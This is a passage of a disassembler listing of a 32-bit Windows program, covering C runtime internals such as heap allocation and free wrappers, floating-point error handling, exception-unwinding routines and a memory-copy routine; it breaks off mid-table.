sub_40B6D1 endp ; =============== S U B R O U T I N E ======================================= sub_40B6FD proc near ; CODE XREF: sub_40B6D1+Bp arg_0 = dword ptr 4 mov eax, dword_480F88 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_40B721 cmp esi, dword_480F80 ja short loc_40B753 push esi call sub_40EFAC test eax, eax pop ecx jz short loc_40B753 pop esi retn ; --------------------------------------------------------------------------- loc_40B721: ; CODE XREF: sub_40B6FD+Dj cmp eax, 2 jnz short loc_40B753 mov eax, [esp+4+arg_0] test eax, eax jz short loc_40B736 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_40B739 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40B6FD+2Fj push 10h pop esi loc_40B739: ; CODE XREF: sub_40B6FD+37j cmp esi, dword_41FC34 ja short loc_40B760 mov eax, esi shr eax, 4 push eax call sub_40FA4F test eax, eax pop ecx jnz short loc_40B76F jmp short loc_40B760 ; --------------------------------------------------------------------------- loc_40B753: ; CODE XREF: sub_40B6FD+15j ; sub_40B6FD+20j ... test esi, esi jnz short loc_40B75A push 1 pop esi loc_40B75A: ; CODE XREF: sub_40B6FD+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_40B760: ; CODE XREF: sub_40B6FD+42j ; sub_40B6FD+54j push esi push 0 push dword_480F84 call dword_417104 ; RtlAllocateHeap loc_40B76F: ; CODE XREF: sub_40B6FD+52j pop esi retn sub_40B6FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B771 proc near ; CODE XREF: sub_4019F4+Ap ; sub_401A0D+73p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_40B7D7 mov eax, dword_480F88 cmp eax, 3 jnz short loc_40B79D push esi call sub_40EC58 pop ecx test eax, eax push esi jz short loc_40B7C9 push eax call sub_40EC83 pop ecx pop ecx jmp short loc_40B7D7 ; --------------------------------------------------------------------------- loc_40B79D: ; CODE XREF: sub_40B771+14j cmp eax, 2 jnz short loc_40B7C8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_40F9B3 add esp, 0Ch test eax, eax jz short loc_40B7C8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_40FA0A add esp, 0Ch jmp short loc_40B7D7 ; --------------------------------------------------------------------------- loc_40B7C8: ; CODE XREF: sub_40B771+2Fj ; sub_40B771+44j push esi loc_40B7C9: ; CODE XREF: sub_40B771+20j push 0 push dword_480F84 call dword_417108 ; RtlFreeHeap loc_40B7D7: ; CODE XREF: sub_40B771+Aj ; sub_40B771+2Aj ... pop esi leave retn sub_40B771 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B7DA(double) sub_40B7DA proc near ; CODE XREF: sub_402112+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_41DBC0 call sub_41064C fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_40B860 call sub_410514 pop ecx test eax, eax pop ecx jle short loc_40B843 cmp eax, 2 jle short loc_40B835 cmp eax, 3 jnz short loc_40B843 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_40FE24 add esp, 10h jmp short loc_40B8A5 ; --------------------------------------------------------------------------- loc_40B835: ; CODE XREF: sub_40B7DA+3Fj push esi push ebx call sub_41064C fld [ebp+arg_0] pop ecx pop ecx jmp short loc_40B8A5 ; --------------------------------------------------------------------------- loc_40B843: ; CODE XREF: sub_40B7DA+3Aj ; sub_40B7DA+44j fld [ebp+arg_0] fadd dbl_417630 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_40B89D ; --------------------------------------------------------------------------- loc_40B860: ; CODE XREF: sub_40B7DA+2Fj call sub_4104D9 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_40B883 loc_40B875: ; CODE XREF: sub_40B7DA+ACj push esi push ebx call sub_41064C fld [ebp+var_8] pop ecx pop ecx jmp short loc_40B8A5 ; --------------------------------------------------------------------------- loc_40B883: ; CODE XREF: sub_40B7DA+99j test bl, 20h jnz short loc_40B875 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_40B89D: ; CODE XREF: sub_40B7DA+84j call sub_40FE77 add esp, 1Ch loc_40B8A5: ; CODE XREF: sub_40B7DA+59j ; sub_40B7DA+67j ... pop esi pop ebx leave retn sub_40B7DA endp ; =============== S U B R O U T I N E ======================================= sub_40B8A9 proc near ; CODE XREF: sub_40D118+9p ; sub_410715+21p ; DATA XREF: ... call sub_40B8C1 call sub_410715 mov dword_47F8F0, eax call sub_4106C5 fnclex retn sub_40B8A9 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40B8C1 proc near ; CODE XREF: sub_40B8A9p mov eax, offset sub_410B03 mov off_41FD54, offset sub_410798 mov off_41FD50, eax mov off_41FD58, offset sub_4107FE mov off_41FD5C, offset sub_41073E mov off_41FD60, offset sub_4107E6 mov off_41FD64, eax retn sub_40B8C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8FC proc near ; CODE XREF: sub_402112+1Bp ; sub_402112+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_40B8FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B923(double) sub_40B923 proc near ; CODE XREF: sub_40215E+83p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_41DBD8 call sub_41064C fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_40B9A9 call sub_410514 pop ecx test eax, eax pop ecx jle short loc_40B98C cmp eax, 2 jle short loc_40B97E cmp eax, 3 jnz short loc_40B98C fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_40FE24 add esp, 10h jmp short loc_40B9EE ; --------------------------------------------------------------------------- loc_40B97E: ; CODE XREF: sub_40B923+3Fj push esi push ebx call sub_41064C fld [ebp+arg_0] pop ecx pop ecx jmp short loc_40B9EE ; --------------------------------------------------------------------------- loc_40B98C: ; CODE XREF: sub_40B923+3Aj ; sub_40B923+44j fld [ebp+arg_0] fadd dbl_417630 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_40B9E6 ; --------------------------------------------------------------------------- loc_40B9A9: ; CODE XREF: sub_40B923+2Fj call sub_4104D9 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_40B9CC loc_40B9BE: ; CODE XREF: sub_40B923+ACj push esi push ebx call sub_41064C fld [ebp+var_8] pop ecx pop ecx jmp short loc_40B9EE ; --------------------------------------------------------------------------- loc_40B9CC: ; CODE XREF: sub_40B923+99j test bl, 20h jnz short loc_40B9BE fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_40B9E6: ; CODE XREF: sub_40B923+84j call sub_40FE77 add esp, 1Ch loc_40B9EE: ; CODE XREF: sub_40B923+59j ; sub_40B923+67j ... pop esi pop ebx leave retn sub_40B923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9F2 proc near ; CODE XREF: sub_410F74+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_40B9F2 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_40BA26 proc near ; CODE XREF: sub_411125+199p ; sub_4112E9+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_40BA26 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40BA2D proc near ; CODE XREF: sub_411125+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_40BA2D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA34 proc near ; CODE XREF: sub_40BBE6+5Cp ; sub_410F74:loc_410FA5p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_40BA5C push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_41643E ; RtlUnwind loc_40BA5C: ; DATA XREF: sub_40BA34+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_40BA34 endp ; --------------------------------------------------------------------------- loc_40BA83: ; CODE XREF: .nsp0:0041659Cj ; .nsp0:004165B9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_410B79 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAB9 proc near ; CODE XREF: sub_410FEF+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_40BB0D inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_411380 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_40BAB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB0D proc near ; DATA XREF: sub_40BAB9+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_410B79 add esp, 20h pop ebp retn sub_40BB0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB32 proc near ; CODE XREF: sub_410DBB+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_40BBE6 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_40BBB8 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_47F990 pop ecx pop ecx and [ebp+var_34], 0 loc_40BBB8: ; DATA XREF: sub_40BB32+3Co cmp [ebp+var_4], 0 jz short loc_40BBD5 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_40BBDE ; --------------------------------------------------------------------------- loc_40BBD5: ; CODE XREF: sub_40BB32+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_40BBDE: ; CODE XREF: sub_40BB32+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_40BB32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BBE6 proc near ; DATA XREF: sub_40BB32+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_40BC09 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_40BC56 ; --------------------------------------------------------------------------- loc_40BC09: ; CODE XREF: sub_40BBE6+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_410B79 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_40BC47 push [ebp+arg_0] push [ebp+arg_4] call sub_40BA34 loc_40BC47: ; CODE XREF: sub_40BBE6+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_40BC56: ; CODE XREF: sub_40BBE6+21j pop edi pop esi pop ebx pop ebp retn sub_40BBE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC5B proc near ; CODE XREF: sub_410C14+C6p ; sub_410DBB+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_40BCB2 loc_40BC79: ; CODE XREF: sub_40BC5B+52j cmp esi, 0FFFFFFFFh jnz short loc_40BC83 call sub_411422 loc_40BC83: ; CODE XREF: sub_40BC5B+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_40BC98 cmp ecx, [eax+8] jle short loc_40BC9D loc_40BC98: ; CODE XREF: sub_40BC5B+36j cmp esi, 0FFFFFFFFh jnz short loc_40BCA9 loc_40BC9D: ; CODE XREF: sub_40BC5B+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_40BCA9: ; CODE XREF: sub_40BC5B+40j cmp [ebp+arg_4], 0 jge short loc_40BC79 mov eax, [ebp+var_4] loc_40BCB2: ; CODE XREF: sub_40BC5B+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_40BCC6 cmp esi, eax jbe short loc_40BCCB loc_40BCC6: ; CODE XREF: sub_40BC5B+65j call sub_411422 loc_40BCCB: ; CODE XREF: sub_40BC5B+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_40BC5B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BCD8 proc near ; CODE XREF: sub_412F2C+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_40BCF0 push [ebp+arg_0] call sub_41643E ; RtlUnwind loc_40BCF0: ; DATA XREF: sub_40BCD8+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40BCD8 endp ; =============== S U B R O U T I N E ======================================= sub_40BCF8 proc near ; DATA XREF: sub_40BD1A+Ao ; sub_40BD82+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_40BD19 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40BD19: ; CODE XREF: sub_40BCF8+10j retn sub_40BCF8 endp ; =============== S U B R O U T I N E ======================================= sub_40BD1A proc near ; CODE XREF: sub_411095+Dp ; sub_412F2C+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_40BCF8 push large dword ptr fs:0 mov large fs:0, esp loc_40BD37: ; CODE XREF: sub_40BD1A:loc_40BD72j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40BD74 cmp esi, [esp+1Ch+arg_4] jz short loc_40BD74 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40BD72 push 101h mov eax, [ebx+esi*4+8] call sub_40BDAE call dword ptr [ebx+esi*4+8] loc_40BD72: ; CODE XREF: sub_40BD1A+44j jmp short loc_40BD37 ; --------------------------------------------------------------------------- loc_40BD74: ; CODE XREF: sub_40BD1A+2Aj ; sub_40BD1A+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= sub_40BD82 proc near ; CODE XREF: sub_4110B5+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_40BCF8 jnz short locret_40BDA4 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_40BDA4 mov eax, 1 locret_40BDA4: ; CODE XREF: sub_40BD82+10j ; sub_40BD82+1Bj retn sub_40BD82 endp ; =============== S U B R O U T I N E ======================================= sub_40BDA5 proc near ; CODE XREF: sub_411380+1Ep ; sub_411380+40p push ebx push ecx mov ebx, offset dword_41DBDC jmp short loc_40BDB8 sub_40BDA5 endp ; =============== S U B R O U T I N E ======================================= sub_40BDAE proc near ; CODE XREF: sub_40BD1A+4Fp ; sub_412F2C+78p push ebx push ecx mov ebx, offset dword_41DBDC mov ecx, [ebp+8] loc_40BDB8: ; CODE XREF: sub_40BDA5+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_40BDAE endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40BDC8 proc near ; CODE XREF: sub_40215E+5p ; sub_4022FD+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_40BDC8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BDE7 proc near ; CODE XREF: sub_4022FD+69p ; sub_4023B8+68p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_40D768 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_40BE26 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_40BE33 ; --------------------------------------------------------------------------- loc_40BE26: ; CODE XREF: sub_40BDE7+35j lea eax, [ebp+var_20] push eax push 0 call sub_40D653 pop ecx pop ecx loc_40BE33: ; CODE XREF: sub_40BDE7+3Dj mov eax, esi pop esi leave retn sub_40BDE7 endp ; =============== S U B R O U T I N E ======================================= sub_40BE38 proc near ; CODE XREF: sub_402790+22p ; .nsp0:00416215p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40B771 pop ecx retn sub_40BE38 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE50 proc near ; CODE XREF: sub_4027FD+3Ap ; sub_40EC83+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40BE70 cmp edi, eax jb loc_40BFE8 loc_40BE70: ; CODE XREF: sub_40BE50+16j test edi, 3 jnz short loc_40BE8C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40BEAC rep movsd jmp off_40BF98[edx*4] ; --------------------------------------------------------------------------- loc_40BE8C: ; CODE XREF: sub_40BE50+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40BEA4 and eax, 3 add ecx, eax jmp dword ptr loc_40BEAC+4[eax*4] ; --------------------------------------------------------------------------- loc_40BEA4: ; CODE XREF: sub_40BE50+46j jmp dword ptr loc_40BFA8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40BEAC: ; CODE XREF: sub_40BE50+31j ; sub_40BE50+8Ej ... jmp off_40BF2C[ecx*4] ; --------------------------------------------------------------------------- align 4 sar byte ptr [esi-4113FFC0h], 40h add [eax], dl mov edi, 0D1230040h mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40BEAC rep movsd jmp off_40BF98[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40BEAC rep movsd jmp off_40BF98[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_40BEAC rep movsd jmp off_40BF98[edx*4] ; --------------------------------------------------------------------------- align 4 off_40BF2C dd offset loc_40BF8F ; DATA XREF: sub_40BE50:loc_40BEACr dd offset loc_40BF7C dd offset loc_40BF74 dd offset loc_40BF6C dd offset loc_40BF64 dd offset loc_40BF5C dd offset loc_40BF54 dd offset loc_40BF4C ; --------------------------------------------------------------------------- loc_40BF4C: ; CODE XREF: sub_40BE50:loc_40BEACj ; DATA XREF: sub_40BE50+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40BF54: ; CODE XREF: sub_40BE50:loc_40BEACj ; DATA XREF: sub_40BE50+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40BF5C: ; CODE XREF: sub_40BE50:loc_40BEACj ; DATA XREF: sub_40BE50+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40BF64: ; CODE XREF: sub_40BE50:loc_40BEACj ; DATA XREF: sub_40BE50+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40BF6C: ; CODE XREF: sub_40BE50:loc_40BEACj ; DATA XREF: sub_40BE50+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40BF74: ; CODE XREF: sub_40BE50:loc_40BEACj ; DATA XREF: sub_40BE50+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40BF7C: ; CODE XREF: sub_40BE50:loc_40BEACj ; DATA XREF: sub_40BE50+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40BF8F: ; CODE XREF: sub_40BE50:loc_40BEACj ; DATA XREF: sub_40BE50:off_40BF2Co jmp off_40BF98[edx*4] ; --------------------------------------------------------------------------- align 4 off_40BF98 dd offset loc_40BFA8 ; DATA XREF: sub_40BE50+35r ; sub_40BE50+92r ... dd offset loc_40BFB0 dd offset loc_40BFBC dd offset loc_40BFD0 ; --------------------------------------------------------------------------- loc_40BFA8: ; CODE XREF: sub_40BE50+35j ; sub_40BE50+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40BFB0: ; CODE XREF: sub_40BE50+35j ; sub_40BE50+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40BFBC: ; CODE XREF: sub_40BE50+35j ; sub_40BE50+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40BFD0: ; CODE XREF: sub_40BE50+35j ; sub_40BE50+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40BFE8: ; CODE XREF: sub_40BE50+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40C01C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40C010 std rep movsd cld jmp off_40C130[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40C010: ; CODE XREF: sub_40BE50+1B1j ; sub_40BE50+208j ... neg ecx jmp off_40C0E0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40C01C: ; CODE XREF: sub_40BE50+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40C034 and eax, 3 sub ecx, eax jmp dword ptr loc_40C034+4[eax*4] ; --------------------------------------------------------------------------- loc_40C034: ; CODE XREF: sub_40BE50+1D6j ; DATA XREF: sub_40BE50+1DDr jmp off_40C130[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40C048 dd offset loc_40C068 dd offset loc_40C090 ; --------------------------------------------------------------------------- loc_40C048: ; DATA XREF: sub_40BE50+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_40C010 std rep movsd cld jmp off_40C130[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40C068: ; DATA XREF: sub_40BE50+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_40C010 std rep movsd cld jmp off_40C130[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40C090: ; DATA XREF: sub_40BE50+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40C010 std rep movsd cld jmp off_40C130[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset 